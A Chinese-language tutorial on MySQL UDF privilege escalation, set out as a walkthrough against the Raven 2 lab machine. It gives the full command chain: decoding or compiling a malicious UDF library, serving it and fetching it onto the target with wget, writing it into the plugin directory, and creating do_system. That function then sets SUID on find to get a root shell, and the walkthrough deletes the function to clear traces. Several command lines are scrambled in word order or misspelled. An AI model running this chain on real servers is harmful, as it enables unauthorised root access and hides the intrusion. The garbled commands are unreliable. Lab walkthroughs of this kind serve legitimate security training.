MySQL UDF提权详细笔记
UDF,User Define Function
,即用户自定义函数,通过这种方法可以执行任意系统命令以提升权限。
利用条件
能够以root
权限登录mysql
并且有写入文件到lib/plugin
目录的权限,即secure_file_priv
没有值。
secure_file_priv
是用来限制数据导入导出的值,通过show global variables like "%secure%"
可以查看,这个值存在三种情况:
secure_file_priv | 说明 |
---|---|
NULL | 不允许数据的导入导出,不能提权 |
具体目录(如/tmp ) |
数据只能导入导出到这一目录,一般不能提权(除非运维脑抽设置到mysql 配置目录) |
这也是默认值(MySQL 5.6.10 实测),即没有设置,可以提权 |
如果无法提权,但有特殊权限,可以尝试修改my.ini
文件中的secure_file_priv
。
简而言之就是:
secure_file_priv
没有值plugin
路径已知root
权限 / 可写文件的权限
必要的信息收集
# 获取MySQL安装路径
select @basedir;
# 查看是否可以提权
show global variales like "%secure%";
# 获取plugin路径
select @@plugin_dir;
使用kali对Raven 2靶机进行实战的过程
得到udf
文件(本文介绍两种方式):
sqlmap
版(这里获取的是Linux
的,Windows
一样,so
文件改成dll
就行):
在/usr/share/sqlmap/data/udf/mysql/
下的linux/64
目录下有Linux
的64位的lib_mysqludf_sys.so_
文件(另外也有32位 / Windows
的,这个文件经过了异或编码)
# 异或解码,得到可用的so文件(Windows是so文件)
$ python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
# 把文件复制出来,改个名字
$ cd /root
$ cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so /root
$ mv lib_mysqludf_sys.so exp.so
# 挂到本机8000端口上
$ python3 -m http.server 8000
sqlmap
的udf
文件中提供了以下自定义函数:
sys_eval:执行任意命令,并将输出返回(测试过程中不好用)
sys_exec:执行任意命令,并将退出码返回(测试好用,但无回显)
sys_get:获取一个环境变量
sys_set:创建或修改一个环境变量
exp-db
版:
搜索exp
searchsploit mysql udf
copy到当前目录
local/1518.c . cp /usr/share/exploitdb/exploits/linux/
-c: 编译为二进制so文件,-g:生成调试信息
gcc -g -c 1518.c
-shared:创建一个动态链接库,-o:输出文件名,-lc:-l 库 c库名
gcc -g -shared -o exp.so 1518.o -lc
挂到本机8000端口上
python3 -m http.server 8000
另外,Windows
在利用过程中可能遇到的问题解决方案:
版本 | 导出路径 |
---|---|
MySQL < 5.0 | 随意 |
5.0 <= MySQL< 5.1 | 目标服务器的系统目录(如:C:\\Windows\\system32\\ ) |
5.1 > MySQL | MySQL 安装目录下的lib\plugin\ 文件夹 |
plugin
目录可能需要自行创建(用NTFS ADS流模式突破进而创建文件夹):
mysql> select @@basedir;
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.6\\lib::$INDEX_ALLOCATION';
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.6\\lib\\plugin::$INDEX_ALLOCATION'
将so / dll
文件导入目标服务器(在服务器上的操作):
切换到/tmp目录(服务器目录太显眼)
cd /tmp
在/tmp目录下载exp.so
wget 192.168.17.129:8000/exp.so
登录mysql
mysql -uroot -pR@v3nSecurity
使用mysql数据库
use mysql;
创建表myfunc
create table myfunc(line blob);
插入数据
'/tmp/exp.so')); insert into myfunc values(load_file(
把文件导出到plugin
'/usr/lib/mysql/plugin/exp.so'; select * from myfunc into dumpfile
创建自定义函数(这里是exp-db版本,如果是使用sqlmap的udf文件,则函数名do_system改为sys_exec,如果是sqlmap-Windows版的那就是cmdshell)
function do_system returns integer soname 'exp.so'; create
检查是否创建成功
select * from mysql.func;
调用do_system函数赋予find目录suid权限,再进行suid提权(DC系列靶机文章中有介绍)
'chmod u+s /usr/bin/find'); select do_system(
清除痕迹
where name='do_system'; delete from mysql.func
退出mysql
quit;
SUID:find提权
exec /bin/sh \; find . -
提权成功
whoami
root
参考文章
https://blog.csdn.net/qq_36119192/article/details/84863268
https://blog.csdn.net/qq_26090065/article/details/81515355
【强烈推荐】http://www.tuzk1.top/posts/a58a22fd.html